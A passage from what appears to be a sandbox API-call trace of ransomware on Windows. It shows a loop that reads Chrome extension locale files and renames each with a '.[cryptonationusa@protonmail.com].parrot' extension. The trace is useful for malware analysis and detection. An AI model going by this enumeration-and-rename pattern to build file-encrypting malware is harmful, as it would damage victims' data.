fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.023] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb737cb40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb737cb40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.023] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb737cb40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.023] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.050] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.050] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.050] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.050] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.050] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.051] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.051] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.051] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.052] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.052] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.052] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.052] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.052] CloseHandle (hObject=0x1fc) returned 1 [0070.053] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.055] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.055] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb73c8e00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb73c8e00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.055] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb73c8e00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.055] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.055] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.055] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.055] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.055] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.055] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.056] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.056] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.056] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.057] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.057] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.057] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.057] CloseHandle (hObject=0x1fc) returned 1 [0070.057] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.059] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.059] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb73c8e00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb73c8e00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.059] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb73c8e00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.059] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.062] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.062] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.062] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.062] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.062] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c12fb00, ftLastWriteTime.dwHighDateTime=0x1d0f3ee, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.062] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.062] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.062] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.063] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.063] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x9f, lpOverlapped=0x0) returned 1 [0070.064] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.064] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.064] CloseHandle (hObject=0x1fc) returned 1 [0070.064] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.066] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.066] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb73eef60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb73eef60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.066] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb73eef60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.066] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.066] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.066] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.066] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.066] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.067] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.067] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.067] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.067] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.068] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.068] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.068] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.068] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.068] CloseHandle (hObject=0x1fc) returned 1 [0070.068] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.072] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.073] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb73eef60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb73eef60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.073] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb73eef60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.073] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.075] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.075] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.075] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.075] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.075] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.075] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.075] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.075] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.076] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.076] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.076] SetFilePointerEx (in: hFile=0x1fc, 